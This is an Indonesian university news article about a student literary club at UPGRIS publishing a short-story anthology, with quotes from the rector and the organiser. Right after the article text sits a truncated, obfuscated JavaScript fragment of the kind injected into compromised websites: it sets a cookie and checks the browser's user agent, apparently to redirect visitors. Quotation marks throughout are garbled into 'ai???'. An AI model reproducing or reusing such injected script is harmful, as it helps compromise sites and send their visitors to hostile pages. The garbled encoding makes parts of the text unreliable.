Mahasiswa UPGRIS Terbitkan Buku

Menulis adalah kemampuan yang wajib dimiliki oleh seorang mahasiswa. Baik menulis untuk kepentingan penyaluran hobi maupun untuk akademik. Ketrampilan menulis akan sangat diperlukan di akhir masa studinya, yaitu saat mahasiswa harus menulis skripsi sebagai syarat kelulusan. Kalau pun tidak, kemampuan menulis bisa digunakan untuk menyalurkan gagasan dan imajinasi lewat karya popular, fiksi maupun non-fiksi.

Menyadari hal itu, Unit Kegiatan Mahasiswa Kajian, Ilmu, dan Apresiasi Sastra (UKM KIAS) Universitas PGRI Semarang (UPGRIS) sudah beberapa tahun terakhir secara tekun mengajak anggotanya untuk menulis dan membukukannya. Dan baru-baru ini, UKM KIAS telah menerbitkan sebuah buku kumpulan cerpen berjudul ai???Kekasih Lautong dan Melati untuk Linai???. Buku ini memuat cerpen-cerpen yang semula diterbitkan di Buletin Keris yang tak lain media publikasi UKM KIAS. Sampai tahun ini, Buletin Keris telah terbit sejumlah 22 edisi, yang sebelumnya terbit tiap 3 bulan sekali.

Buku berisi kumpulan cerpen dari beberapa cerpenis muda dari mahasiswa dan alumni UPGRIS serta beberapa dari cerpenis luar kampus, di antaranya Sulung Pamanggih, Khoerul Maftuhah, Winda El Mizan DA., Gary Ghaffuri, Aulia Nur Inayah, Santi Almufaroh, Dimas Indiana Senja, Astri Kumalasari, Sri Weni, Khoirul Anhar, Andhika John Manggala dan Dhani Susilowati. Karya dari para penulis di atas berhasil melewati proses seleksi yang lumayan ketat. Ai??Dari 25 cerpen yang masuk, didapatkan 12 cerpen terbaik. Cerpenis nasional asal semarang S. Prasetyo Utomo di percaya sebagai kurator. Pengalamannya di kancah cerpen nasional tentu sudah tak diragukan lagi

Dalam kesempatan lain(14/03), Rektor UPGRIS Dr Muhdi SH MHum mengapresiasi langkah mahasiswa dalam membukukan karya-karya. Menurut Rektor, kemampuan menulis akan sangat berguna bagi segala macam jenjang pendidikan maupun pekerjaan.ai???Buku ini termasuk hasil karya kreatif dari mahasiswa, maka harus terus kembangkan,ai??? tegasnya. Rektor juga mendorong agar tradisi menulis dan membukukan karya tak boleh terputus.

Malikul Alam selaku ketua panitia proyek penerbitan buku menegaskan dirinya selalu mengajak mahasiswa untuk mau belajar menulis. ai???Menerbitkan buku merupakan program tahunan UKM KIAS, dengan program ini diharapkan dapat memancing minat teman-teman mahasiswa untuk memiliki kesadaran akan pentingnya membaca buku dan menulis,ai??? tegasnya.

Perlu diketahui, UKM KIAS adalah unit kegiatan mahasiswa yang berkecimpung dalam dunia kajian dan kepenulisan sastra milik Universitas PGRI Semarang. Sejak dibentuk pada 8 Juni 2003, UKM KIAS telah menerbitkan tujuh buku sastra, di antaranya setelah ai???Adalah Debuai??? (2010); ai???Perempuan Bersayap di Kota Sebaai??? (2011); ai???Mengingat Guruai??? (2012); ai???Jejak Hujanai??? (2013); ai???Rodin Memahat Le Penseurai??? (2015); dan ai???Layungai??? (2016). Adapun kegiatan rutinnya ialah menyelenggarakan forum diskusi, pelatihan kepenulisan, penerbitan buletin keris, pembukuan karya dan bedah buku. [] 446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply